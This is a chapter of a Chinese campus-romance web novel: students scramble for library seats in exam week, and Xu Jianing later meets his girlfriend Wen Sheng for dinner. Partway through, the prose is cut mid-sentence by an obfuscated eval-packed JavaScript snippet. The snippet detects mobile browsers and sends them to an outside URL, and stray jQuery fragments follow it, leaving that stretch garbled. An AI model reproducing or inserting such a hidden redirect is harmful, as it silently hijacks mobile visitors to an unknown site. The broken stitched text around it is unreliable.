校运会刚结束不久，首都大学的学生很快迎来了考试周。


    几周前，他们还在操场上比拼速度，为班级争荣誉，如今，他们要用这个速度，去图书馆抢位置。


    男生宿舍305里，肖海迷迷糊糊睁开眼，伸手在枕边摸自己的手表，发现已经六点半了，立马弹射起床。脑子还没清醒，手已经在穿衣服了。


    图书馆七点开门，这个时候已经很多人在门口排队了，眼下只剩半个小时，若是再磨蹭一下，恐怕连走廊的角落都没位置了。


    穿好鞋准备出门时，门从外面被推开。


    许家宁抱着搪瓷盆走了进来，头发还是湿漉漉的，往下滴着水。看到目瞪口呆的肖海时，他用口型比了个“等我一下”。


    肖海愣愣地站在门口，看着里面穿鞋的人发呆，怀疑自己是不是没睡醒，出现了幻觉？还是今天的太阳从西边出来了？


    这个人在大一的时候，从来不和他们一起去图书馆。他记得很清楚，每次大家成群结队地去图书馆占位置时，许家宁总是说：


    “期末周的图书馆太多人了，空气不清新，氧气不足，影响大脑思考。”


    肖海他们听着也觉得是这么一回事，尤其接近冬天时，图书馆开着暖气，差不多一百人挤着一层，确实很闷。人一坐久，翻着翻着书就容易犯困。


    等许家宁拿上书包出门时，肖海跟在后面问：“阿宁，你不是从不在期末周去图书馆的吗？说嫌人多。”


    “我对象在。”许家宁淡淡地说。


    “......什、什么？”肖海的声音都变了调，“你什么时候有对象的？我怎么不知道？”


    “早就有了。”


    肖海愣在原地，用手一拍脑袋，猛地想起了这学期的所有细节，把蛛丝马迹都串起来了。


    比如，他这学期周末常常不在宿舍，原来是和对象出去约会了。


    比如，他这学期白衬衣的领子老是皱巴巴的，明明早上出门还整整齐齐的，晚上回来的时候，领口像是被人拽过、捏过，他还总是故意不系最上面那颗扣子。


    再比如，现在他都不借饭票给他们了！


    以前谁没饭票吃饭了，一喊“阿宁”，他掏出来就借，偶尔还会带着他们去学校外面的小炒店吃饭。


    现在一听到“饭票”两个字，他先摸口袋，再眯眼一笑，用最温柔的语气说出最残忍的话：“没钱。”


    许家宁回头看到肖海那副模样，觉得有点好笑，忽然抬手，拽松脖子上的围巾。


    “今天出太阳了，有点热。”


    随着围巾一点点松开，白皙的脖子那块皮肤上的几道浅红色印子也一并露了出来，还有一两处是用牙齿咬出来的痕迹，颜色深深浅浅，分布在衣领和围巾之间，遮也不是，不遮又显眼得过分。


    肖海站在后面，虽然不能近距离看，但他带着眼镜，也能看到脖子的红印。


    这一看就知道不是蚊子咬的。哪有蚊子天天咬人的脖子，而且还专挑锁骨往上的那块下嘴？


    “你你你你你你你你！”


    他伸手一指，又收回来，再一指，又收回来，嘴巴张张合合，半天没说出一个完整的句子：“你你你你.......你被、被她......你让她……你还带着出来？！”


    “是我让她留的。”许家宁把围巾重新绕回脖子上，系上最上面的一颗扣子。


    说完，他还冲肖海笑了一下，低声补了一句：“不要说出去哦。”


    肖海小跑追上来问：“是我们学校的吗？”


    许家宁背着手，慢悠悠地走向停车棚，脸上那副“就不告诉你”的笑容快把肖海逼疯了，“你倒是说句话啊！急死我了急死我了。”


    “要坐上我的单车吗？比你走路快一点。”许家宁问。


    肖海本来想原地撒泼打滚，让对方交代一切，可眼看着他骑车就要走，只好“妥协”般地跳上车后座。


    他屁股还没坐稳就喊：“说啊，到底是哪个系的？哪个班的？是不是外语学院的？！是不是上次运动会你帮扶过的那个女生？”


    许家宁没理他，一脚蹬下去，车子顺着校道骑了出去。


    两人到图书馆时，图书馆才刚开门不久。门口的管理员还在打哈欠，每个进门的学生都风风火火地往楼上冲，找位置。


    一楼已经坐了七八成，大窗户下那几排靠暖气的座位早被占了。


    说是“被占”，其实一个人影都没有，只有横七竖八放着的书包、书、水杯、笔袋，有人干脆把棉帽子往椅背上一挂，棉手套往桌上一摊占位。


    许家宁和肖海一张一张地找空位，看到有张桌子上放着一本打开的《现代汉语》，书页中间夹了根铅笔，旁边还歪歪扭扭地贴着一张便利贴：“已有人，勿动，谢谢。”


    肖海低声吐槽：“这也行？”


    许家宁眼神淡淡扫过，把那张便利贴揭下，捏成团压在书底下。


    肖海继续在找位，眼角余光瞥见许家宁停在一张桌子前。他走过去一看，直接被气笑了。


    有人把一包纸巾横放在两张桌子中间，下面也压着一张纸：“这两个位置有人，谢谢。”


    肖海看得直摇头：期末周大家都在抢位，用书包水壶也无可厚非，可这一包纸巾……未免太离谱了。


    许家宁则冷着一张脸，眼皮都没抬一下，直接伸手把纸巾收进书包里，然后将纸撕碎，揉成团丢到垃圾桶。做完这一切，他才抬了下下巴，淡淡朝肖海示意：“过来，坐这。”


    肖海对这个操作惊呆了，在心里默默竖起大拇指，嘿嘿一笑，麻利地坐下来。


    “行啊阿宁，平时看你斯斯文文的，关键时刻还挺硬气的。”


    许家宁面无表情地掏出书本：“占座可以，但得讲规矩。”


    “什么规矩？”


    “至少得是个像样的东西。一包纸巾站两个位置，我就当直接送我的了。”


    说着，许家宁从书包里拿出那包纸巾，撕开包装，抽出几张递给肖海：“拿着。等等你上厕所的时候能用。”


    肖海接过纸巾，挤眉弄眼地压低声音：“话说，我坐了这个位置，你对象坐哪啊？”


    许家宁顿了顿，瞥了他一眼：“谁说她要来？”


    “啊？那你今天怎么来图书馆了？我以为你是要给她占位。”肖海一头雾水。


    许家宁翻了页书，淡声丢下一句：“不告诉你。”


    肖海：“......”


    他叹了口气，算了，想读懂许家宁的心思，比啃概率论还难和烧脑。


    真是的，男人心，海底针呐！


    *


    温笙和舍友赶到图书馆的时候，每层楼都没有空位。过道两边的桌椅几乎全被占了。


    “大学的期末周这么恐怖的吗？之前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498016|181209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我每次来都有位置的啊。”顾燕红抱着书，目光在一排排座位间扫来扫去，满脸不可思议。


    温笙也愣住了。


    她原本想象中的，是安静又充满学习氛围的场景，没想到是这样拥挤的场景。


    她侧过身，小声问：“那我们回宿舍？”


    顾燕虹点点头：“何桑说她在学校外面的咖啡厅包了间房，说我们可以去找她。”


    何桑是她们宿舍最有钱的人，一个月的零花钱能有三千，平时喜欢到校外发廊花二十块洗个头，衣服也选品牌货。而温笙她们，一个月的零花钱是三百上下。


    但何桑没有大小姐脾气，也没有因为自己是本地人而看不起乡下考上来的学生。相反，她很喜欢带着舍友到外面吃饭、唱歌、逛街，十分大方。


    温笙低头想了想，今天确实失策了，没料到期末周的图书馆会这么多人。


    她无奈地笑了笑，“没办法了，走吧，我们去咖啡厅。”


    顾燕虹挽起她的胳膊，笑着说：“正好能换个心情。听何桑说，那个咖啡厅环境很好，座椅也很舒服。”


    “她有没有说咖啡厅最便宜的是什么？我能点的起吗？”


    “没有……最便宜的应该是我们的时间吧。”


    顾燕虹说完，两人对视一眼，不约而同地笑了。


    *


    傍晚，第一食堂门口。


    许家宁站在台阶边，双手插在外套口袋里等人。


    看到温笙来了，他伸手把她脖子上的围巾往上围紧，挡住她被风吹红的脸颊。然后抓住她冰凉的手，微微低头，靠近嘴边轻轻哈了口热气：“暖和一下。”。


    “怎么是从校门口方向来的？不是从宿舍出来吗？”他问。


    “你怎么会觉得我在宿舍？”温笙的声音从围巾里传出来。


    “因为今天我在图书馆没看到你。”


    “你还特意找过？”


    周围来吃饭的人越来越多，有同学从身旁挤过去。许家宁顺手把她往自己身边带了带，护着她走进食堂：“走吧，先吃饭。”


    两人端着餐盘好不容易在角落里找到一个位置坐下。


    温笙夹了片莲藕片，狠狠咀嚼：“今天我起那么早，结果赶到图书馆的时候，一个位置都没有！”


    许家宁说：“我今天早上去了，人一个都没有，但位置也一个都没有。”


    “什么意思？”


    他慢条斯理地喝了口汤，抬眼看她：“桌上全是书包和水杯，连纸巾都能占座。就算一层楼没人，也别想有位置。”


    温笙放下筷子，愁眉苦脸地托腮说：“那怎么办啊？我今天和舍友去外面咖啡厅学习，一杯最便宜的饮料也要五块，我不能每天都去……”


    许家宁夹了块肉给她，温柔地说：“我知道有个地方，很适合自习。”


    “哪里？”


    “等等吃完饭带你去。”


    温笙眨了眨眼，试探着问：“类似在仓中时你的秘密基地吗？”


    “不太一样，等等你就知道了。”许家宁说。


    “好吧……”温笙心里有了点期待，吃饭的速度都变快了。


    “慢点吃，别噎着。”许家宁看着她狼吞虎咽的样子，皱了皱眉，顺手把一杯温水推到她手边。


    温笙接过杯子，抿了一口，笑眯眯地说：“没办法，你把我胃口吊大了，我现在很饿。”